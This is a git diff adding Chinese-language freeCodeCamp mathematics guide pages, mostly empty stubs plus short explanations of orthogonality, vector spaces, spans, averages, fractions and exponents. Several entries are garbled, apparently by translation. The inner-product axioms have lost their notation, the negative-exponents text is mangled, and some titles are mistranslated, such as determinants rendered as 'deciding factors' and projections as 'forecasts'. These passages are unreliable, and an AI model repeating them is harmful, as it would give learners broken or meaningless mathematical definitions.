\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/canonical-form/index.md b/client/src/guide/chinese/mathematics/linear-algebra/canonical-form/index.md
new file mode 100644
index 0000000000..dc597a3c39
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/canonical-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Canonical Form
+localeTitle: 规范形式
+---
+## 规范形式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/canonical-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/determinants/index.md b/client/src/guide/chinese/mathematics/linear-algebra/determinants/index.md
new file mode 100644
index 0000000000..6b755e4917
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/determinants/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinants
+localeTitle: 决定因素
+---
+## 决定因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/determinants/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/eigenvectors/index.md b/client/src/guide/chinese/mathematics/linear-algebra/eigenvectors/index.md
new file mode 100644
index 0000000000..da966c8872
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/eigenvectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Eigenvectors
+localeTitle: 特征向量
+---
+## 特征向量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/eigenvectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/index.md b/client/src/guide/chinese/mathematics/linear-algebra/index.md
new file mode 100644
index 0000000000..f77908ec1a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Algebra
+localeTitle: 线性代数
+---
+## 线性代数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/inner-product-spaces/index.md b/client/src/guide/chinese/mathematics/linear-algebra/inner-product-spaces/index.md
new file mode 100644
index 0000000000..178dc94b83
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/inner-product-spaces/index.md
@@ -0,0 +1,14 @@
+---
+title: Inner Product Spaces
+localeTitle: 内部产品空间
+---
+## 内部产品空间
+
+### 介绍
+
+设V是场F上的向量空间。内积是一个函数，它指定V中每个有序的向量x和y对，F中的标量，用这样对于所有x，y在V和a在F中这些包含：
+
+*   \= +
+*   \=一
+*   \= （X和Y分别表示x和y的共轭）
+*   对于所有x！= 0 = 0
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/linear-mappings/index.md b/client/src/guide/chinese/mathematics/linear-algebra/linear-mappings/index.md
new file mode 100644
index 0000000000..10bfe3b830
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/linear-mappings/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Mappings
+localeTitle: 线性映射
+---
+## 线性映射
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/linear-mappings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/matrix-algebra/index.md b/client/src/guide/chinese/mathematics/linear-algebra/matrix-algebra/index.md
new file mode 100644
index 0000000000..6c031239da
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/matrix-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Algebra
+localeTitle: 矩阵代数
+---
+## 矩阵代数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/matrix-algebra/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/orthogonality/index.md b/client/src/guide/chinese/mathematics/linear-algebra/orthogonality/index.md
new file mode 100644
index 0000000000..04af3d0ed1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/orthogonality/index.md
@@ -0,0 +1,24 @@
+---
+title: Orthogonality
+localeTitle: 正交
+---
+## 正交
+
+在数学和线性代数中，当它们的点积为0时，两个向量u和v被认为是正交的：  
+![点积](http://mathworld.wolfram.com/images/equations/OrthogonalVectors/Inline3.gif)  
+正交性可以被认为是[垂直](http://mathworld.wolfram.com/Perpendicular.html)于较高维向量空间的[垂直](http://mathworld.wolfram.com/Perpendicular.html)度，因为两者是相同的 - 它们意味着直线由线，平面或向量形成。
+
+![直角](http://mathworld.wolfram.com/images/eps-gif/Perpendicular_1000.gif)
+
+以下是正交性的所有例子：
+
+1.  如果两个矢量是垂直的，即它们以直角（90度）相交或相交，则它们是正交的。
+2.  如果两个向量的内积（点积）等于0，则它们是正交的。
+3.  如果V中的每个矢量与B中的每个矢量正交，则V中的两个矢量子空间A和B是正交的。
+
+<！ - [这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+1.  http://mathworld.wolfram.com/Orthogonal.html
+2.  http://mathworld.wolfram.com/Perpendicular.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/projections/index.md b/client/src/guide/chinese/mathematics/linear-algebra/projections/index.md
new file mode 100644
index 0000000000..27ffc7b03a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/projections/index.md
@@ -0,0 +1,11 @@
+---
+title: Projections
+localeTitle: 预测
+---
+## 预测
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/projections/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/spans/index.md b/client/src/guide/chinese/mathematics/linear-algebra/spans/index.md
new file mode 100644
index 0000000000..d2fe9ca56c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/spans/index.md
@@ -0,0 +1,15 @@
+---
+title: Spans
+localeTitle: 跨度
+---
+## 跨度
+
+##### 介绍
+
+设S是向量空间V的非空子集.S的跨度（由span（S）表示）是包含S中向量的所有线性组合的集合。为方便起见，我们定义span（∅）= {0} 。
+
+要么
+
+设S是向量空间W中的一组向量.S跨越的子空间定义为包含S的V的所有子空间的交点W.当S是有限的向量集时，S = {α1，α2，...， αn}，我们简单地将W称为由向量α1，α2，...，αn跨越的子空间。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/systems-of-linear-equations/index.md b/client/src/guide/chinese/mathematics/linear-algebra/systems-of-linear-equations/index.md
new file mode 100644
index 0000000000..964787e1b0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/systems-of-linear-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations
+localeTitle: 线性方程组
+---
+## 线性方程组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/systems-of-linear-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/vector-spaces/index.md b/client/src/guide/chinese/mathematics/linear-algebra/vector-spaces/index.md
new file mode 100644
index 0000000000..80a30b742a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/vector-spaces/index.md
@@ -0,0 +1,19 @@
+---
+title: Vector Spaces
+localeTitle: 矢量空间
+---
+## 矢量空间
+
+向量空间V是在向量乘法和加法下闭合的一组向量。 这意味着从向量加法和乘法产生的向量也在向量空间内：
+
+1.  如果a和b是空间V中的向量，则a + b也在V中。
+2.  如果c是标量而a和b是V中的向量，则ab和ac也是V内的向量。 当这些属性成立时，向量空间在向量加法和标量乘法下被称为“闭合”。
+
+<！ - 这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/vector-spaces/index.md) 。
+
+<！ - [这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+1.  http://mathworld.wolfram.com/VectorSpace.html
+2.  http://www.math.toronto.edu/gscott/WhatVS.pdf
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-algebra/vectors/index.md b/client/src/guide/chinese/mathematics/linear-algebra/vectors/index.md
new file mode 100644
index 0000000000..2150449665
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-algebra/vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Vectors
+localeTitle: 矢量
+---
+## 矢量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/vectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-equations-and-functions/index.md b/client/src/guide/chinese/mathematics/linear-equations-and-functions/index.md
new file mode 100644
index 0000000000..a825a4ed83
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-equations-and-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Equations and Functions
+localeTitle: 线性方程和函数
+---
+## 线性方程和函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-equations-and-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/linear-equations/index.md b/client/src/guide/chinese/mathematics/linear-equations/index.md
new file mode 100644
index 0000000000..88dededc12
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/linear-equations/index.md
@@ -0,0 +1,13 @@
+---
+title: Linear Equations
+localeTitle: 线性方程组
+---
+## 线性方程组
+
+线性方程是从一点到另一点的直线，可以通过方程或图表来表示。
+
+线性函数的等式是**y = mx + b** 。
+
+*   _'y'_是斜率上的y坐标
+*   _'mx'_是等式的斜率或速率。这可以使用**（y2-y1 / x2-x1）计算** ，其中分子是垂直移位，而分母是水平移位。
+*   _'b'_是y轴截距，或线性函数与y轴相交的位置。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/local-linearity/index.md b/client/src/guide/chinese/mathematics/local-linearity/index.md
new file mode 100644
index 0000000000..78a74d4255
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/local-linearity/index.md
@@ -0,0 +1,11 @@
+---
+title: Local Linearity
+localeTitle: 局部线性
+---
+## 局部线性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/local-linearity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/logarithmic-equations-variable-in-the-argument/index.md b/client/src/guide/chinese/mathematics/logarithmic-equations-variable-in-the-argument/index.md
new file mode 100644
index 0000000000..f10d9ca7a2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/logarithmic-equations-variable-in-the-argument/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithmic Equations Variable in the Argument
+localeTitle: 参数中的对数方程变量
+---
+## 参数中的对数方程变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/logarithmic-equations-variable-in-the-argument/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/logarithms-introduction-to-the-relationship/index.md b/client/src/guide/chinese/mathematics/logarithms-introduction-to-the-relationship/index.md
new file mode 100644
index 0000000000..1c15a21dda
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/logarithms-introduction-to-the-relationship/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithms Introduction to the Relationship
+localeTitle: 对数介绍关系
+---
+## 对数介绍关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/logarithms-introduction-to-the-relationship/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/long-division/index.md b/client/src/guide/chinese/mathematics/long-division/index.md
new file mode 100644
index 0000000000..6d0ee48e78
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/long-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Long Division
+localeTitle: 长除法
+---
+## 长除法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/long-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/long-polynomial-division/index.md b/client/src/guide/chinese/mathematics/long-polynomial-division/index.md
new file mode 100644
index 0000000000..8cd9ccb8bf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/long-polynomial-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Long Polynomial Division
+localeTitle: 长多项式分部
+---
+## 长多项式分部
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/long-polynomial-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/maclaurin-series/index.md b/client/src/guide/chinese/mathematics/maclaurin-series/index.md
new file mode 100644
index 0000000000..075af4eab3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/maclaurin-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Maclaurin Series
+localeTitle: Maclaurin系列
+---
+## Maclaurin系列
+
+Maclaurin系列是泰勒级数的一个特例，以0为中心。它是一个幂级数，可以计算出接近零的输入值的函数f（x）的近似值。
+
+[Maclaurin系列参考](http://mathworld.wolfram.com/MaclaurinSeries.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/matrix-inverse/index.md b/client/src/guide/chinese/mathematics/matrix-inverse/index.md
new file mode 100644
index 0000000000..f8a846df77
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/matrix-inverse/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Inverse
+localeTitle: 矩阵逆
+---
+## 矩阵逆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/matrix-inverse/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md b/client/src/guide/chinese/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md
new file mode 100644
index 0000000000..49430bb16e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Inversion Finding the Inverse of a Matrix
+localeTitle: 矩阵求逆求矩阵的逆
+---
+## 矩阵求逆求矩阵的逆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/mean-absolute-deviation-mad/index.md b/client/src/guide/chinese/mathematics/mean-absolute-deviation-mad/index.md
new file mode 100644
index 0000000000..02958e27ff
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/mean-absolute-deviation-mad/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Absolute Deviation Mad
+localeTitle: 平均绝对偏差疯狂
+---
+## 平均绝对偏差疯狂
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mean-absolute-deviation-mad/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/mean-median-mode-and-range/index.md b/client/src/guide/chinese/mathematics/mean-median-mode-and-range/index.md
new file mode 100644
index 0000000000..e501613e25
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/mean-median-mode-and-range/index.md
@@ -0,0 +1,60 @@
+---
+title: Mean Median Mode and Range
+localeTitle: 平均中位模式和范围
+---
+## 平均值，中位数，模式和范围
+
+统计学家和数学家使用均值，中位数，模式和范围来学习有关一组数字的信息。
+```
+Example set: 
+ 
+ 5, -4, 11, 5, 5, 20, 8.5, 11 
+```
+
+要计算集合的**范围** ，请取最高数字（表示为x）和最低数字（表示为y），然后计算xy。范围将指示数字的分布情况。
+```
+Smallest value: -4 
+ Largest value: 20 
+ 
+ 20 - (-4) = 24 
+ 
+ The range is 24 
+```
+
+要计算**平均值** ，请将所有数字相加并除以组中元素的总数。这是讨论'平均'时通常所说的。
+```
+5 + (-4) + 11 + 5 + 5 + 20 + 8.5 + 11 = 61.5 
+ 
+ Sum: 61.5 
+ Count: 8 
+ 
+ 61.5 / 8 = 7.6875 
+ 
+ The mean is 7.6875 
+```
+
+要计算**模式** ，请查找最常重复的数字。例如，对于数字1,2,3,4,5,6,7,7,7，模式将为7，因为该组中有三个7，这高于任何其他数字的数量。
+```
+Put the set in order so it's easier to see how 
+ many of each value there are: 
+ 
+ -4, 5, 5, 5, 8.5, 11, 11, 20 
+ 
+ 5 appears three times, 11 appears twice and 
+ everything else appears once. 
+ 
+ The mode is 5 
+```
+
+要计算中**位数** ，请按递增顺序排列所有数字，并将最高和最低数字交叉，直到只剩下一个或两个数字。如果剩下一个数字，则该数字是中位数。如果有两个数字，则添加两个数字并除以2得到中位数。例如，在1,2,3,4,5,6,7,7,7中，中位数为5。
+```
+First, put the set in order: 
+ 
+ -4, 5, 5, 5, 8.5, 11, 11, 20 
+ 
+ The third 5 and 8.5 are the middle values... 
+ (5 + 8.5) / 2 = 6.75 
+ 
+ The median is 6.75 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/mean-value-theorem/index.md b/client/src/guide/chinese/mathematics/mean-value-theorem/index.md
new file mode 100644
index 0000000000..6fd08cf8b9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/mean-value-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Value Theorem
+localeTitle: 中值定理
+---
+## 中值定理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mean-value-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md b/client/src/guide/chinese/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md
new file mode 100644
index 0000000000..547bc3d0df
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md
@@ -0,0 +1,11 @@
+---
+title: Metric Units of Length Review Mm Cm M and Km
+localeTitle: 度量单位长度检查Mm Cm M和Km
+---
+## 度量单位长度检查Mm Cm M和Km
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/mixed-fractions/index.md b/client/src/guide/chinese/mathematics/mixed-fractions/index.md
new file mode 100644
index 0000000000..48f5baca1a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/mixed-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Mixed Fractions
+localeTitle: 混合分数
+---
+## 混合分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mixed-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/more-trig-sub-practice/index.md b/client/src/guide/chinese/mathematics/more-trig-sub-practice/index.md
new file mode 100644
index 0000000000..9b6464ff0b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/more-trig-sub-practice/index.md
@@ -0,0 +1,11 @@
+---
+title: More Trig Sub Practice
+localeTitle: 更多Trig Sub练习
+---
+## 更多Trig Sub练习
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/more-trig-sub-practice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/multiplication-times-tables/index.md b/client/src/guide/chinese/mathematics/multiplication-times-tables/index.md
new file mode 100644
index 0000000000..c02993af95
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/multiplication-times-tables/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplication Times Tables
+localeTitle: 乘法时间表
+---
+## 乘法时间表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplication-times-tables/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/multiplying-decimals-example/index.md b/client/src/guide/chinese/mathematics/multiplying-decimals-example/index.md
new file mode 100644
index 0000000000..7c48a8fc2b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/multiplying-decimals-example/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplying Decimals Example
+localeTitle: 乘以十进制示例
+---
+## 乘以十进制示例
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplying-decimals-example/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/multiplying-fractions/index.md b/client/src/guide/chinese/mathematics/multiplying-fractions/index.md
new file mode 100644
index 0000000000..971667b8a6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/multiplying-fractions/index.md
@@ -0,0 +1,30 @@
+---
+title: Multiplying Fractions
+localeTitle: 乘以分数
+---
+## 乘以分数
+
+分数通常用于表示数字，该数字是两个数字的比率。
+
+考虑分数五分之四 ，这里4被称为分子和5被称为分母。
+
+以下是将两个分数相乘的步骤
+
+1.  将分数的分子和分母相乘
+2.  如果可能，简化结果分数
+
+#### 例1
+
+ 4/5×3/5 \=（4×3）/（5×5）=25分之12 
+
+#### 例2
+
+ 4/5×3/2 \=（4×3）/（5×2）= 12/10 = 6/5（简体） 
+
+#### 例3
+
+将分数乘以整数。
+
+请注意，通过将其分母视为1，整数也可视为分数。
+
+ 4/5×2 \=（4×2）/（5×1）= 8/5
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/multiplying-matrices/index.md b/client/src/guide/chinese/mathematics/multiplying-matrices/index.md
new file mode 100644
index 0000000000..a3161b9273
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/multiplying-matrices/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplying Matrices
+localeTitle: 乘以矩阵
+---
+## 乘以矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplying-matrices/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/negative-exponents/index.md b/client/src/guide/chinese/mathematics/negative-exponents/index.md
new file mode 100644
index 0000000000..d759c20dc7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/negative-exponents/index.md
@@ -0,0 +1,7 @@
+---
+title: Negative Exponents
+localeTitle: 否定指数
+---
+## 否定指数
+
+负指数只是将指数移动到分数条下方。让我们取_10_的力量。如果我们取_10³，_我们得到_10 \* 10 \* 10 = 1000_ 。如果指数为负数，比如_10 -3_ ，则等于_1/10_ _3_ ，或_1 /（10 \* 10 \* 10）_ ，或仅为_1/1000_ 。 这适用于任何数字和任何权力。 _2³=_ _8,2至3 = 1 /2³= 1/8_ 。 _5²= 25也是如此_ _5 -2 = 1 /5²= 1/25_
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/normal-distribution/index.md b/client/src/guide/chinese/mathematics/normal-distribution/index.md
new file mode 100644
index 0000000000..4419316331
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/normal-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Distribution
+localeTitle: 正态分布
+---
+## 正态分布
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/normal-distribution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-bases-introduction-and-binary-numbers/index.md b/client/src/guide/chinese/mathematics/number-bases-introduction-and-binary-numbers/index.md
new file mode 100644
index 0000000000..2b78bc0327
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-bases-introduction-and-binary-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Bases Introduction and Binary Numbers
+localeTitle: 数字基础简介和二进制数
+---
+## 数字基础简介和二进制数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-bases-introduction-and-binary-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/comparing-base-n-numeral-systems/index.md b/client/src/guide/chinese/mathematics/number-theory/comparing-base-n-numeral-systems/index.md
new file mode 100644
index 0000000000..4f9c09b1dc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/comparing-base-n-numeral-systems/index.md
@@ -0,0 +1,11 @@
+---
+title: Comparing Base N Numeral Systems
+localeTitle: 比较基数N数字系统
+---
+## 比较基数N数字系统
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/comparing-base-n-numeral-systems/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/number-theory/computers-dont-have-to-use-binary/index.md b/client/src/guide/chinese/mathematics/number-theory/computers-dont-have-to-use-binary/index.md
new file mode 100644
index 0000000000..2bbfc170f9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/number-theory/computers-dont-have-to-use-binary/index.md
@@ -0,0 +1,11 @@
+---
+title: Computers Don't Have to Use Binary
+localeTitle: 计算机不必使用二进制
+---
+## 计算机不必使用二进制
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/computers-dont-have-to-use-binary/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
